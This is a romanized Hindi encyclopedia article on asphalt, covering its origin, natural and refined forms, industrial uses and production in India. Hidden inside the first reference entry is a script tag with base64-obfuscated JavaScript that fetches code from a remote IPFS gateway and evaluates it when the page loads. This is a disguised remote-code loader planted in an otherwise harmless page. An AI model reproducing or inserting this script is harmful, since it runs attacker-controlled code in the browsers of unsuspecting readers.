ऐस्फ़ाल्ट
aisfalt shabd ek yoonani shabd se nikala hai jisaka arth hai dridh, achal tatha surakshit. puratan kal mean aisfalt ka pratham upayog vibhinn prakar ke do padartho ko apas mean jo dane mean, jaise hathidaant, sip ya ratnoan se bani aankhoan ko moortiyoan ke chakshu gahvaroan mean baithane ke lie, kiya jata tha jnat hua hai ki sanbhavat: hamare desh mean aisfalt ka sarvapratham upayog lagabhag 3000 varsh ee.poo. siandhu nadi ki ghati mean, siandh pradesh ke mohan-jo-d do namak sthan par, jalabhaandar ki tankiyoan ko chhidrarahit banane mean kiya gaya tha.
aisfalt kale se lekar gahare bhoore rang tak ke thos, athava ardhathos, aur simeant ke saman jo dane ka kary karanevale padarth haian, jo garam karane par dhire-dhire drav ho jate haian. unake mukhy sanghatak bitumen (tarakol ki jati ke padarth) hote haian. ye thos athava ardhathos avastha mean prakriti mean pae jate haian ya petroliyam ko saph karane mean utpann hote haian, ya poorvakathit bitumen padartho ke apas mean, ya petroliyam, ya usase nikale hue padartho ke sath sanyog hone par, banate haian. pray: yah shabd prakritik, ya prakriti mean pae janevale, bitumen ke lie hi prayog mean ata hai.
aisfast jhiloan, athava chattanoan ke roop mean paya jata hai. trinidaid ki aisfalt jhil is prakar ki jhiloan mean sabase adhik prakhyat hai. aisi jhilean kachche petroliyam ke lakhoan varsho tak sookhane se banati haian. jhiloan se nikale hue aisfalt mean bahutere apadravy, jaise pe doan ke aang, jantuoan ke avashesh, patthar, baloo ityadi, mile rahate haian. chattanoan ke aisfalt phraans, jarmani, astriya, arab, dakshini amarika ityadi deshoan mean paya jata hai.
nakali aisfalt, jisako bitumen kahate haian, kachche petroliyam ka asavan karane par bacha hua padarth haian. petrol, mitti ka tel, snehak tail aur pairafin mom nikal lene ke pashchath yahi padarth bach jata hai. taiyar karane ki riti mean bhed utpann kar bitumen ka gadhapan niyantrit kiya jata hai aur bhinn-bhinn karyo ke lie kee prakar ke bitumen taiyar kie jate haian. jab shuddh aisfalt ka upayog nahian kiya ja sakata to usamean koee u danashil padarth milakar patala tatha mulayam bana liya jata hai. upalabdh padartho ko tab 'kat baik' kahate haian. kuchh avasthaoan mean, jaise nam ya bhigi s dakoan ki satahoan par lagane ke lie, aisfalt ko pani ke sath milakar payas (imalshan) bana diya jata hai.
aisfalt ke anek upayog haian. sabase adhik prachalit upayog to s dakoan aur patariyoan (phutapathoan) ke pharsho tatha havaee addoan ke dhavan margo (ranavez) ko taiyar karane mean hota hai. isako naharoan tatha tankiyoan mean astar dene ke tatha apaksharan-niyantran aur nadi tatha samudr ke kinaroan ki raksha ke karyo mean bhi prayukt kiya jata hai. udyog mean aisfalt ka prayog bitumenarakshit (jalavarodhak) kap da banane mean kiya jata hai jo chhat, pharsh, jalarodhak tatha bhitipatt (valabord) ki rachana mean kam ata hai. isake sivay aisfalt ka upayog vidyudrodhan ke lie hota hai. vitumenabalit kagaj tatha vidyudavarodhak phite (insuletiang tep) banane mean bhi isaka upayog hota hai. jo dane mean tatha sandhi bharane mean yah upayogi hai. nakali rabar, tail rang, varanish, inaimal, motar ki baitari aur sanchayak (akyumuletar) ityadi banane tatha shital bhaandar (koldastorej) aur prashitan (rephhऱjareshan) ke kary mean bhi isaka upayog hota hai.[1]
kuchh varsh poorv tak bharat mean aisfalt ka bahar se ayat kiya jata tha. kiantu hal mean banbee mean shodhak karakhane sthapit kie ge haian, jahaan par videsh se ae kachche petroliyam ka shodhan kiya jata hai aur brihadh matra mean aisfast is udyog ke avashisht padarth ke roop mean milata hai. jahaan tak aisfalt ka sanbandh hai, bharat ab atmanirbhar ho gaya hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 289 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.–harbart aibraham : aisfalt aiand ailaed sabstaiansez, dvitiy sanskaran (nyooyark, 1920); aisfalt ianstitayoot : aisfalt haiandabuk (yoo.es.e.); parsi edavin spilamain : aisfalt rods (edavard aranald aiand kan., landan).
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varnamala kramanusar lekh khoj
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